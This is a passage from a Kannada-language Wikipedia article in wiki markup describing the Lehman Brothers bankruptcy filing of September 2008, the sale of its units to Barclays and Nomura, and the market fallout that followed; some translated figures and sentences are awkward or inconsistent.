ಪ್ರಕ್ರಿಯೆಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದೆ ಎಂದು ಹೇಳಿತು.<ref name="nytimes-0914">{{cite news |url=https://www.nytimes.com/2008/09/15/business/15lehman.html?_r=1&hp&oref=slogin |title=Lehman Heads Toward Brink as Barclays Ends Talks |author=Ben White |coauthors=Jenny Anderson |publisher=The New York Times |date=2008-09-14 |accessdate=2008-09-14}}</ref> ಆದರೆ ಈ ವಹಿವಾಟನ್ನು ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ ಮತ್ತು UK ದ ಫೈನಾನ್ಸಿಯಲ್ ಸರ್ವಿಸ್ ಆಥಾರಟಿಗಳು (ಹಣಕಾಸಿನ ಸೇವಾ ಪ್ರಾಧಿಕಾರ)ತಮ್ಮ ವಿರೋಧ ವ್ಯಕ್ತಪಡಿಸಿದವು.<ref>ಉಯಿಲ್ ಹಟ್ಟನ್,''ದಿ ಆಬ್ಜವರರ್'' , 19 ಏಪ್ರಿಲ್ 2009, [https://www.theguardian.com/commentisfree/2009/apr/19/banking-budget-recession-will-hutton ಯು ಗಿವ್ ಬ್ಯಾಂಕರ್ಸ್ £1.3 ಟ್ರಿಲಿಯನ್ ಅಂಡ್ ಡು ದೆ ಥ್ಯಾಂಕ್ ಯುವ್? ][https://www.theguardian.com/commentisfree/2009/apr/19/banking-budget-recession-will-hutton ಡು ದೆ ಹೆಲ್]</ref> ಪ್ರಮುಖ ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಬ್ಯಾಂಕ್ ಗಳು ಅಂದು ಸಂಜೆ ಹೊತ್ತಲ್ಲಿ ಈ ವೇಗದ ವಿಫಲತೆ ತಡೆಯಲು ಸಭೆ ಸೇರಿದವು.<ref name="nytimes-0914" /> ಬ್ಯಾಂಕ್ ಆಫ್ ಅಮೆರಿಕಾದ ಪಾತ್ರ ಇದರಲ್ಲಿ ಕೊನೆಗೊಂಡಿತೆಂದು ಹೇಳಬಹುದು,ಯಾಕೆಂದರೆ ಫೆಡ್ರಲ್ ನಿಯಮದ ನಿಯಂತ್ರಣಗಳು ಅದು ಸರಕಾರಕ್ಕೆ ಲೆಹ್ಮನ್ ಉಳಿಸಲು ಮಾಡುವ ವಿನಂತಿಗಳು,ಸರಕಾರಕ್ಕೆ ತಲುಪದೇ ವಿಫಲಗೊಂಡವೆಂದೇ ಹೇಳಬಹುದು.<ref name="nytimes-0914" /> ==ದಿವಾಳಿತನದ ದಾಖಲಿಸುವಿಕೆ== [[File:Lehman Brothers-20080915.jpg|thumb|upright|right|ನ್ಯುಯಾರ್ಕ್ ನಲ್ಲಿರುವ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಪ್ರಧಾನ ಕೇಂದ್ರ ಕಚೇರಿ]] ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಚಾಪ್ಟರ್ 11 ರಡಿ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ ಪ್ರೊಟೆಕ್ಷನ್ ನಿಯಮದನುಸಾರ ಸೆಪ್ಟೆಂಬರ್ 15,2008 ರಲ್ಲಿ ವಿವರ ದಾಖಲಿಸಿತು. ಇದಕ್ಕಾಗಿ ಬ್ಲೂಮ್ ಬರ್ಗ್ ವರದಿಗಳು U.S.ನ ನ್ಯುಯಾರ್ಕ್ ನಲ್ಲಿನ ದಕ್ಷಿಣ ಜಿಲ್ಲೆ(ಮ್ಯಾನ್ ಹ್ಯಾಟನ್ )ನಲ್ಲಿ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ ಕೋರ್ಟ್ ಗೆ ಸೆಪ್ಟೆಂಬರ್ 16 ರಂದು ತಮ್ಮ ವಿವರ ಸಲ್ಲಿಸಿದರು.ಈ ವೇಳೆಯಲ್ಲಿ [[ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್]] ಗೆ ಜೆ.ಪಿ.ಮೊರ್ಗಾನ್ ರವರು "ಫೆಡ್ರಲ್ ಕಾಯ್ದಿಟ್ಟ ನಿಧಿಯ-ಹಿನ್ನಲೆಯಾಗಿ ಮುಂಗಡಗಳ"ನ್ನು ಒದಗಿಸಿದ್ದರು. ಜೆಪಿ ಮೊರ್ಗಾನ್ ಚೇಸ್ ನ $87 ಶತಕೋಟಿ ನಗದು ಮುಂಗಡಗಳು ನ್ಯುಯಾರ್ಕ್ ನ ಫೆಡರಲ್ ರಿಜರ್ವ ಬ್ಯಾಂಕ್ ನಿಂದ ಮರು ಸಂದಾಯ ಮಾಡಲ್ಪಟ್ಟವು. ನಂತರ ಸೆಪ್ಟೆಂಬರ್ 16 ರಂದು $51 ಶತಕೋಟಿ ಒದಗಿಸಲಾಯಿತು.<ref>[https://www.bloomberg.com/apps/news?pid=20601087&amp;sid=aX7mhYCHmVf8&amp;refer=home, JPMಆರ್ಗನ್ ಗೇವ್ ಲೆಹ್ಮನ್ $138 ಬಿಲಿಯನ್ ಆಫ್ಟರ್ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ (Update3) ಬೈ ಟಿಫಾನಿ ಕಾರೆ ಅಂಡ್ ಕ್ರಿಸ್ ಸಿಟಿಯಾ]</ref> === ವಿಯೋಜನಾ ಹಂಚಿಕೆಯ ಪ್ರಕ್ರಿಯೆ=== ಸೆಪ್ಟೆಂಬರ್ 20,2008 ರಲ್ಲಿ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಹೊಲ್ಡಿಂಗ್ಸ್ ನ ದಳ್ಳಾಳಿ ವಿಭಾಗವನ್ನು ವಿಯೋಜಿಸಿ ಅದರ ಮಾರಾಟಕ್ಕೆ ಉದ್ದೇಶಿಸಲಾಯಿತು.ಇದನ್ನೂ ಕೂಡಾ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ ಕೋರ್ಟ್ ಮುಂದೆ ತರಲಾಯಿತು.ಒಟ್ಟು $1.35 ಶತಕೋಟಿ ಮೌಲ್ಯದ (£700 ದಶಲಕ್ಷ)ಯನ್ನು ಬಾರಕ್ಲೆಸ್ ನ [[ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್]] ನಲ್ಲಿದ್ದ ಪ್ರಮುಖ ವಹಿವಾಟಿನ ಯೋಜನೆಗಾಗಿ ಮೀಸಲಿಡಲಾಯಿತು.(ಪ್ರಮುಖವಾಗಿ $960ದಶಲಕ್ಷವನ್ನು ಗಗನಚುಂಬಿ ಕಟ್ಟಡ ವಾಗಿದ್ದ ಮಿಡ್ ಟೌನ್ ಮ್ಯಾನ್ ಹ್ಯಾಟನ್ ನ ಕಚೇರಿಗಾಗಿ ವಿಯೋಜನೆ ಮಾಡಲು ಸಮ್ಮತಿಸಲಾಯಿತು. [[ಮ್ಯಾನ್ಹ್ಯಾಟನ್‌|ಮ್ಯಾನ್ ಹ್ಯಾಟನ್]] ಕೋರ್ಟ್ ನ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ ನ್ಯಾಯಮೂರ್ತಿ ಜೇಮ್ಸ್ ಪೆಕ್ ಸುಮಾರು 7 ಗಂಟೆಗಳ ಕಾಲ ಇದರ ಮೇಲಿನ ವಾದ-ವಿವಾದಗಳ ಆಲಿಸಿ."ನಾನು ಈ ವ್ಯಾಪಾರದ ವಹಿವಾಟಿನ ಅಂಶವನ್ನು ಪರಿಗಣಿಸಿದ್ದೇನೆ,ಅಲ್ಲದೇ ಇದೊಂದೇ ಅಂಶ ತೀರ್ಪಿಗಾಗಿ ಲಭ್ಯವಿದೆ."ಎಂದು ತಮ್ಮ ನಿರ್ಧಾರ ಪ್ರಕಟಿಸಿದರು. ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಇಲ್ಲಿ ಬಲಿಪಶುವಾಗಬೇಕಾಯಿತು,ಕ್ರೆಡಿಟ್ ಮಾರುಕಟ್ಟೆಗಳ ಸುನಾಮಿಗೆ ಸಿಲುಕಿ ಅದು ತನ್ನ ಭಾಗವನ್ನು ತ್ಯಾಗ ಮಾಡಬೇಕಾದ ಪ್ರಸಂಗ ಎದುರಾಯಿತು. ಇದೊಂದು ತುಂಬಾ ಮನಮುಟ್ಟುವ ದಿವಾಳಿತನದ ಮಹತ್ವದ ವಾದ-ವಿವಾದದ ಪ್ರಸಂಗವಾಗಿತ್ತೆಂದು ತಾನು ತಿಳಿದಿದ್ದೇನೆ,ಎಂದು ನ್ಯಾಯಮೂರ್ತಿಗಳು ಉದ್ಘರಿಸಿದರು. ಈ ಪ್ರಕರಣವು ಮುಂದಿನವುಗಳಿಗೆ ಮಾದರಿ ಉದಾಹರಣೆಯಾಗಬಾರದು. ಇಂತಹದೇ ತುರ್ತು ಸ್ಥಿತಿಯನ್ನು ಭವಿಷ್ಯದಲ್ಲಿ ಊಹಿಸಲಿಕ್ಕೂ ಆಗದು."<ref>[http://news.bbc.co.uk/2/hi/business/7626624.stm news.bbc.co.uk, ಜಜ್ಡ್ ಅಪ್ರೂವ್ಸ್ $1.3bn ಲೆಹ್ಮನ್ ಡೀಲ್]</ref> [[File:Barclays HQ.jpg|thumb|left|ಬರ್ಕ್ಲೆಯಸ್ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಇನ್ವೆಸ್ಟಮೆಂಟ್ ಬ್ಯಾಂಕಿಂಗ್ ವಹಿವಾಟನ್ನು ಸೆಪ್ಟೆಂಬರ್ 2008 ರಲ್ಲಿ ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು.]] ಲುಕ್ ಡೆಸ್ಪಿನ್ಸ್ ನ ಕ್ರೆಡಿಟರ್ಸ್ ಸಮಿತಿಯ ಅಭಿಪ್ರಾಯದಂತೆ:"ಯಾವುದೇ ಪರ್ಯಾವಿಲ್ಲ ಎನ್ನುವುದೊಂದೇ ಕಾರಣವನ್ನು ಪರಿಗಣಿಸಿ ತಾವು ಆಕ್ಷೇಪಣೆ ಮಾಡುತ್ತಿಲ್ಲ;ಎಂದಾಗಿತ್ತು. ನಾವು ಈ ವಹಿವಾಟನ್ನು ಬೆಂಬಲಿಸಲಾಗದು,ಯಾಕೆಂದರೆ ಇದರ ವಿಮರ್ಶೆ ಮಾಡಲು ನಮಗೆ ವೇಳೆಯಿಲ್ಲ."{{Citation needed|date=June 2009}} ಪರಿಷ್ಕೃತ ಒಪ್ಪಂದದಲ್ಲಿನ ತಿದ್ದುಪಡಿ ಮೂಲಕ ಬಾರ್ಕ್ಲೆಯ್ಸ್ ಒಟ್ಟು $ 47.4 ಶತಕೋಟಿ ಮೌಲ್ಯದ ಸೆಕ್ಯುರಿಟೀಸ್ ಗಳನ್ನು ತನ್ನ ಸುಪರ್ದಿಗೆ ಪಡೆಯಿತು.ಅದರಂತೆ $ 45.5 ಶತಕೋಟಿಯಷ್ಟು ವ್ಯಾಪಾರಿ ವಹಿವಾಟಿನ ಜವಾಬ್ದಾರಿಯನ್ನೂ ಹೊಂದಿತು. ಲೆಹ್ಮನ್ ಗಳ ಅಧಿಕಾರ ವಹಿಸಿದ ವೆಲ್ ಗೊಟ್ಶಲ್ ಅಂಡ್ ಮಾಂಗೆಸ್ ನ ಆಟೊರ್ನಿ ಹಾರ್ವೆಯ್ ಆರ್ ಮಿಲ್ಲರ್ ಹೇಳುವಂತೆ "ರಿಯಲ್ ಎಸ್ಟೇಟ್ ವಿಭಾಗದ ಖರೀದಿ ಮೌಲ್ಯವು $ 1.29 ಶತಕೋಟಿಯಾಗಿದ್ದರೆ ಇದರಲ್ಲಿ ಲೆಹ್ಮನ್ ನ ನ್ಯುಯಾರ್ಕ್ ಪ್ರಧಾನ ಕಚೇರಿಯ $960 ಶತಕೋಟಿ ಮೊತ್ತವನ್ನೊಳಗೊಂಡಿದೆ.ಅದಲ್ಲದೇ ನಿವ್ ಜರ್ಸಿಯ ಎರಡು ಡಾಟಾ ಸೆಂಟರಿಗಾಗಿ $ 330 ಶತಕೋಟಿ ಎಂದು ನಿಗದಿಯಾಗಿದೆ. ಲೆಹ್ಮನ್ ನ ಮೂಲ ಅಂದಾಜು ಅದರ ಪ್ರಧಾನ ಕೇಂದ್ರ ಕಚೇರಿ ಪ್ರಕಾರ $ 1.02 ಶತಕೋಟಿ ಆಗಿತ್ತು.ಆದರೆ CB ರಿಚರ್ಡ್ ಎಲ್ಲೆಸ್ ನ ಆ ವಾರದ ಅಂದಾಜು $900 ದಶಲಕ್ಷಾಗಿತ್ತು.{{Citation needed|date=June 2009}} ಮುಂದೆ ಬಾರ್ಕ್ಲೆಯ್ಸ್ ಲೆಹ್ಮನ್ ನ ಈಗಲ್ ಎನರ್ಜಿ ಘಟಕವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲಿಲ್ಲ.ಆದರೆ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಕೆನಡಾ ಇಂಕಾ,ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಸುದಾಮೆರಿಕಾ,ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಉರುಗ್ವೆ ಮತ್ತು ಅದರ ಖಾಸಗಿ ಬಂಡವಾಳ ಹೂಡಿಕೆ ಮ್ಯಾನೇಜ್ ಮೆಂಟ್ ಬಿಜೆನೆಸ್ ನ್ನು ಅದರ ಅಧಿಕ ಉತ್ತಮ ಫಲಿತಾಂಶಗಳಿಗಾಗಿ ಪಡೆಯಲು ಸಿದ್ದವಾಯಿತು. ಅಂತಿಮವಾಗಿ ಲೆಹ್ಮನ್ ಸೆಕ್ಯುರಿಟೀಸ್ ನಲ್ಲಿರುವ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಇಂಕಾದಲ್ಲಿರುವ ಆಸ್ತಿಯ $20 ಶತಕೋಟಿಯನ್ನು ಬಾರ್ಕ್ಲೆಯ್ಸ್ ಗೆ ವರ್ಗಾಯಿಸಲಿಲ್ಲ.<ref>[http://www.reuters.com/article/rbssFinancialServicesAndRealEstateNews/idUSN1932554220080920 reuters.com, ಜಜ್ಡ್ ಅಪ್ರೂವ್ಸ್ ಲೆಹ್ಮನ್, ಬಾರ್ಕ್ಲೆಯ್ಸ್ ಪ್ಯಾಕ್ಟ್]</ref> ಬಾರ್ಕ್ಲೆಯ್ಸ್ ಒಟ್ಟು $ 2.5 ಶತಕೋಟಿಯಷ್ಟನ್ನು ಬೇರ್ಪಡುವುದಕ್ಕಾಗಿ ವಿಶೇಷ ರೀತಿಯಲ್ಲಿ ಸಾಲದ ಹೊರೆಯನ್ನು ಹೊತ್ತಿತು.ಕೆಲವು ಲೆಹ್ಮನ್ ನೌಕರರನ್ನು 90 ದಿನಗಳ ಮೇಲೆ ಇಟ್ಟುಕೊಳ್ಳುವ ಬಗ್ಗೆ ತನ್ನ ಇಚ್ಚೆಯನ್ನು ವ್ಯಕ್ತಪಡಿಸಲಿಲ್ಲ.<ref>[http://ap.google.com/article/ALeqM5hHts3gSHE_WcIZt-IgZWwYpgmeewD93ABG080 ap.google.com, ಜಜ್ಡ್ ಸೇಯ್ಸ್ ಲೆಹ್ಮನ್ ಕ್ಯಾನ್ ಸೆಲ್ ಯುನಿಟ್ಸ್ ಟು ಬಾರ್ಕ್ಲೆಯ್ಸ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{Cite web |url=http://www.guardian.co.uk/business/feedarticle/7812904 |title=guardian.co.uk, US ಜಜ್ಡ್ ಅಪ್ರೂವ್ಸ್ ಲೆಹ್ಮನ್ಸ್ ಅಸೆಟ್ ಸೇಲ್ ಟು ಬಾರ್ಕ್ಲೆ |access-date=2008-09-21 |archive-date=2008-09-21 |archive-url=https://web.archive.org/web/20080921011455/http://www.guardian.co.uk/business/feedarticle/7812904 |url-status=live }}</ref> ನೊಮುರಾ ಹೊಲ್ಡಿಂಗ್ಸ್,ಇಂಕಾ.ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಉಪಶಾಖೆಗಳನ್ನು ತೆಗೆದುಕೊಳ್ಳಲು ಒಪ್ಪಿರುವುದಾಗೆ ಸೆಪ್ಟೆಂಬರ್ 22,2008 ರಲ್ಲಿ ಘೋಷಿಸಿತು.ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಫ್ರ್ಯಾಂಚೈಸ್ ಗಳಾದ ಏಶಿಯಾ ಪ್ಯಾಸಿಫಿಕ್ ಪ್ರದೇಶ ಮತ್ತು ಅದರಲ್ಲಿನ ಜಪಾನ್,ಹಾಂಗ್ ಕಾಂಗ್ ಮತ್ತು ಆಸ್ಟ್ರೇಲಿಯಾಗಳಲ್ಲಿನ ವಹಿವಾಟು ಪಡೆದುಕೊಂಡಿತು.<ref>{{cite web | title=Nomura to acquire Lehman Brothers' Asia Pacific franchise | url=http://www.nomuraholdings.com/news/nr/holdings/20080922/20080922.html}}</ref> ಮರುದಿನವೇ ನೊಮುರಾವು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಯುರೊಪ್ ಮತ್ತು ಮಧ್ಯ ಪೂರ್ವದ ಪ್ರದೇಶದಲ್ಲಿನ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ ಬ್ಯಾಂಕಿಂಗ್ ಅಮ್ತ್ತು ಈಕ್ವಿಟಿ ವಹಿವಾಟುಗಳನ್ನು ತೆಗೆದುಕೊಳ್ಳಲು ಉದ್ದೇಶಿಸಲಾಗಿದೆ ಎಂದು ಪ್ರಕಟಿಸಿತು. ಕೆಲವು ವಾರಗಳ ತರುವಾಯ ಈ ವಹಿವಾಟಿನ ಎಲ್ಲಾ ಕರಾರುಗಳನ್ನು ಒಪ್ಪಿ,ಇದು ಸೋಮವಾರ,13 ಅಕ್ಟೋಬರ್ ನಂದು ಕಾನೂನುಬದ್ದವಾಗಿ ಜಾರಿಯಾಯಿತು.<ref>{{cite web | title=Nomura to close acquisition of Lehman Brothers' Europe and Middle East investment banking and equities businesses on October 13 | url=http://www.nomuraholdings.com/news/nr/europe/20081006/20081006_a.html }}</ref> ಸುಮಾರು 2007 ರಲ್ಲಿ US ನಲ್ಲಿ ಆಸ್ತಿತ್ವವಿಲ್ಲದ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಅಂಗಸಂಸ್ಥೆಗಳು ಜಾಗತಿಕವಾಗಿ 50% ಆದಾಯ ತರುವಲ್ಲಿ ಸಮರ್ಥವಾಗಿದ್ದವು.<ref>{{cite web | title=Lehman Brothers 2007 Annual Report | url=http://www.lehman.com/annual/2007/div_regions/intro.htm | access-date=2010-11-15 | archive-date=2008-03-22 | archive-url=https://web.archive.org/web/20080322002013/http://www.lehman.com/annual/2007/div_regions/intro.htm | url-status=dead }}</ref> == ದಿವಾಳಿತನ ದಾಖಲಾದ ನಂತರದ ಪರಿಣಾಮ == ಡೊವ್ ಜೊನ್ಸ್ ಅತ್ಯಂತ ಕಡಿಮೆ ಅಂಚಿನಲ್ಲೇ 500 ಅಂಶಗಳಲ್ಲಿ (−4.4%)ಸೆಪ್ಟೆಂಬರ್ 15,2008 ರಲ್ಲಿ ಮುಚ್ಚಿ ಹಾಕಿತು.ಅದು ಒಂದೇ ದಿನದಲ್ಲಾದ ಅತಿ ದೊಡ್ಡ ಅವಧಿಯ ವ್ಯತ್ಯಾಸ ಎನಿಸಿತು.ಆ ದಿನಗಳ ತರುವಾಯದ ಶೇರು ಪೇಟೆಯಲ್ಲಿನ ವ್ಯತ್ಯಾಸವು ತೀವ್ರಗತಿಯಲ್ಲಿ ಇಳಿಕೆಯಾಯಿತು.ಅದಕ್ಕೆ ಸೆಪ್ಟೆಂಬರ್ 11,2001 ರ ದಾಳಿಯೂ ಕಾರಣವಾಯಿತು.<ref>{{cite news |url=https://www.nytimes.com/2008/09/16/business/worldbusiness/16markets.html?hp |title=Wall St.’s Turmoil Sends Stocks Reeling |author=Michael Grynbaum |publisher=The New York Times |date=2008-09-15 |accessdate=2008-09-15}}</ref> (ಇದೇ ರೀತಿಯಾದ ಇಳಿಮುಖತೆಯು ಬರಬರುತ್ತಾ ಇನ್ನೂ ಕೆಳಕ್ಕಿಳಿಯಿತು.ಸೆಪ್ಟೆಂಬರ್ 29,2008 ರಲ್ಲಿ ಅದು −7.0% ಕ್ಕೇರಿತ್ತು.) ಲೆಹ್ಮನ್ ನ ದಿವಾಳಿತನವು ವಾಣಿಜ್ಯ ವಲಯದ ರಿಯಲ್ ಎಸ್ಟೇಟ್ ವಹಿವಾಟಿನಲ್ಲಿ ಸವಕಳಿ ಪರಿಣಾಮವನ್ನುಂಟು ಮಾಡಿತು. ಲೆಹ್ಮನ್ ನ $4.3 ಶತಕೋಟಿಯಷ್ಟು ಅಡಮಾನದ ಸೆಕ್ಯುರಿಟೀಸ್ ಮಾರಾಟವು ವಾಣಿಜ್ಯ ಅಡಮಾನ-ಹಿನ್ನಲೆಯ ಸೆಕ್ಯುರಿಟೀಸ್(CMBS)ವಲಯದಲ್ಲಿ ಸಂಚಲನ ಮೂಡಿಸಿತಲ್ಲದೇ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಇದು ಇಳಿಕೆ ಕಂಡಿತು. ವಾಣಿಜ್ಯ ಆಸ್ತಿ ವಹಿವಾಟಿನಲ್ಲಿನ ಹೆಚ್ಚುವರಿ ಸೆಕ್ಯುರಿಟೀಸ್ ಮಾರಾಟಕ್ಕೆ ಒತ್ತಡವನ್ನು ಲೆಹ್ಮನ್ ಎದುರಿಸಿತು.ಯಾಕೆಂದರೆ ಲೆಹ್ಮನ್ ಈಗಾಗಲೇ ತನ್ನ ಆಸ್ತಿಗಳನ್ನು ಮಾರಾಟ ಮಾಡುವ ಹಾದಿಯಲ್ಲಿತ್ತು. ಅಪಾರ್ಟ್ ಮೆಂಟ್-ಕಟ್ಟಡಗಳ ವಲಯದಲ್ಲಿನ ಬಂಡವಾಳ ಹೂಡಿಕೆದಾರರು ಸಹ ಮಾರಾಟದ ಒತ್ತಡವನ್ನು ಅನುಭವಿಸಿದರು.ಯಾಕೆಂದರೆ ಲೆಹ್ಮನ್ ಅದರ ಸಾಲದ ಹೊಣೆಗಾರಿಕೆಗಳು ಶೇರು-ಈಕ್ವಿಟಿ ಸುಮಾರು $22 ಶತಕೋಟಿಯನ್ನು ಅದರ ಆರ್ಕ್ ಸ್ಟೊನ್ ಇದು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನಲ್ಲಿನ ಮೂರನೆಯ ದೊಡ್ಡ ರಿಯಲ್ ಎಸ್ಟೇಟ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ ಟ್ರಸ್ಟ್ (REIT)ಸಂಸ್ಥೆಯಲ್ಲಿ ಅಡಮಾನವಾಗಿಸಿತ್ತು. ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನಲ್ಲಿನ ಪಮುಖ ಮೆಟ್ರೊ ಪ್ರದೇಶದಲ್ಲಿನ ಗೃಹವಸತಿಗಳ ಅಪಾರ್ಟ್ ಮೆಂಟ್ ಕಟ್ಟಡಗಳ ಒಡೆತನ ಮತ್ತು ಆಡಳಿತದ ಅಗ್ರ ವಹಿವಾಟನ್ನು ಆರ್ಕ್ ಸ್ಟೊನ್ ತನ್ನ ಕಾರ್ಯವನ್ನಾಗಿಸಿತ್ತು. ಆದರೆ UBSನಲ್ಲಿ ರಿಯಲ್ ಎಸ್ಟೇಟ್ ವಿಶ್ಲೇಷಕ ಜೆಫ್ರಿ ಸ್ಪೆಕ್ಟರ್ ಹೇಳುವಂತೆ "ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಅಪಾರ್ಟ್ ಮೆಂಟ್ಸ್ ಗಳ ಬಗ್ಗೆ ಸ್ಪರ್ಧಿಸಬೇಕಾದರೆ ಆರ್ಕ್ ಸ್ಟೊನ್ ನ ಮಾರಾಟ ಬೆಲೆಗಳಲ್ಲದೇ ಅದು ಲೆಹ್ಮನ್ ನ ಮಾರಾಟದ ಭರಾಟೆಯಲ್ಲಿ ಉಳಿದವುಗಳ ಧ್ವನಿ ಕೇಳಿಸುತ್ತಿಲ್ಲ,ಎಂದಿದ್ದಾರೆ.ಇವುಗಳ ಮಾರಾಟದ ಸುಗ್ಗಿಯಲ್ಲಿ ನಿಜವಾದ ಖರೀದಿದಾರರಿಗೆ ಮುಂದೆ ಸಾಗದೆ ಪ್ರಶ್ನೆಯ ತೊಡಕು ಉಂಟಾಗಿದೆ" ಎಂಬುದು ಹಲವರ ವಾದ.<ref>{{cite news |url=http://online.wsj.comarticleSB122161549909246211.html?mod=residential_real_estate |title=After Lehman, Banks Jettison Commercial-Property Debt |publisher=[[The Wall Street Journal]] |date=2008-09-17 |accessdate=2008-09-18 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಹಲವಾರು ಹಣ ನಿಧಿಗಳು ಮತ್ತು ಸಾಂಸ್ಥಿಕ ನಗದು ನಿಧಿಗಳು ಲೆಹ್ಮನ್ ನೊಂದಿಗೆ ತೆರೆದುಕೊಳ್ಳುವ ಇದನ್ನು ದಿ ಬ್ಯಾಂಕ್ ಆಫ್ ನ್ಯುಯಾರ್ಕ್ ಮೆಲ್ಲನ್ ಮತ್ತು ಪ್ರಾಥಮಿಕ ರಿಜರ್ವ್ ಫಂಡ್ ,ಹಣಕಾಸು ಮಾರುಕಟ್ಟೆ ನಿಧಿ,ಇವುಗಳೆಲ್ಲ ಪ್ರತಿ ಶೇರಿಗೆ $1 ಗಿಂತ ಕೆಳಕ್ಕಿಳಿಯಲು ಆರಂಭಿಸಿದವು.ಇದನ್ನೇ [[wiktionary:break the buck|ಬ್ರೆಕಿಂಗ್ ದಿ ಬಕ್]] ಹಣದ ವಿಚ್ಛೇದಕ ಎಂದೂ ಕರೆಯಲಾಯಿತು.ಇದಕ್ಕೆ ಲೆಹ್ಮನ್ ನಲ್ಲಿನ ಅವುಗಳ ಹೊಲ್ಡಿಂಗ್ ಕಾರಣವಾಯಿತು. ಒಂದು ಹಂತದಲ್ಲಿ ಲೆಹ್ಮನ್ ನ ಆಸ್ತಿಗಳನ್ನು ಪ್ರತ್ಯೇಕ ರಚನೆಯಲ್ಲಿ ದೂರ ಇಡಲಾಯಿತೆಂದು ದಿ ಬ್ಯಾಂಕ್ ಆಫ್ ನ್ಯುಯಾರ್ಕ್ ಮೆಲ್ಲನ್ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ತಿಳಿಸಿತು. ಅದು ಹೇಳುವ ಪ್ರಕಾರ ಅದರ ನಿಧಿಯಿಂದ ಒಟ್ಟು ಆಸ್ತಿಗಳು 1.13% ರಷ್ಟಿವೆ. ಆದರೆ ಪ್ರೈಮರಿ ರಿಜರ್ವ್ ಫಂಡ್ ನಲ್ಲಿನ ಇಳಿಕೆಯು ಮೊದಲ ಬಾರಿಗೆ 1994 ರಲ್ಲಿ ಕಂಡು ಬಂದಿತು.ಆಗ ಹಣಕಾಸು ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಪ್ರತಿ ಶೇರು ಬೆಲೆಯು $1 ಕ್ಕಿಂತ ಕೆಳಕ್ಕಿಳಿಯಿತು. ಕೆನಡಾದ ಗ್ರೇಟ್-ವೆಸ್ಟ್ ಲೈಫ್ಕೊ ದ ಘಟಕವಾದ ಪುಟ್ನಮ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ಸ್ ತನ್ನ $12.3 ಶತಕೋಟಿಯ ಹಣಕಾಸು ನಿಧಿಯನ್ನು ಮುಚ್ಚಿಹಾಕಿತು."ಯಾಕೆಂದರೆ ಅದು ವಿಮೋಚನಾ ಕ್ರಮದಡಿ ಹಲವು ತೊಂದರೆಗಳನ್ನು ಅನುಭವಿಸಿತು.ಈ ಒತ್ತಡ"ದಿಂದಾಗಿ ಅದು ಸೆಪ್ಟೆಂಬರ್ 17,2008 ರಲ್ಲಿ ಈ ನಿರ್ಧಾರಕ್ಕೆ ಬಂತು. ಎವರ್ ಗ್ರೀನ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ಸ್ ಹೇಳುವ ಪ್ರಕಾರ ಅದರ ಪೋಷಕ ಕಂಪನಿ ವಾಚೊವಾ ಕಾರ್ಪೊರೇಶನ್ ತನ್ನ ಮೂರು "ಬೆಂಬಲ"ದ ಎವರ್ ಗ್ರೀನ್ ಹಣಕಾಸು-ಮಾರುಕಟ್ಟೆ ನಿಧಿಗಳಲ್ಲಿ ತನ್ನ ಶೇರುಗಳ ಬೆಲೆ ಬಿದ್ದು ಹೋಗದಂತೆ ಅದು ತಡೆಯಲು ಪ್ರಯತ್ನಿಸಿತು.<ref>{{cite news |url=http://www.reuters.com/article/rbssFinancialServicesAndRealEstateNews/idUSN1838451820080918|title=Bank of New York restructures cash fund on loss|publisher=[[Reuters]]|date=2008-09-18|accessdate=2008-09-18}}</ref> ಈ ಕ್ರಮವು ಲೆಹ್ಮನ್ ನ $494 ದಶಲಕ್ಷ ಆಸ್ತಿಗಳ ರಕ್ಷಿಸಲು ನಿಧಿ ಹೆಚ್ಚಿಸಲಾಯಿತು.ಆದರೆ ಈ ಮೊತ್ತವನ್ನು ವಾಚೊವಿಯಾದ ಸಾಮರ್ಥ್ಯ ತಂದು ಕೊಡುತ್ತದೆಯೇ ಎಂಬ ಹೆದರಿಕೆಯೂ ಇತ್ತು.<ref>{{cite news|url=http://www.ft.com/cms/s/0/b3c93b42-8519-11dd-b148-0000779fd18c.html|title=Wachovia tumbles on capital fears|publisher=[[Financial Times]]|date=2008-09-18|accessdate=2008-09-18}}</ref> ಇಂತಹ ಸುಮಾರು 100 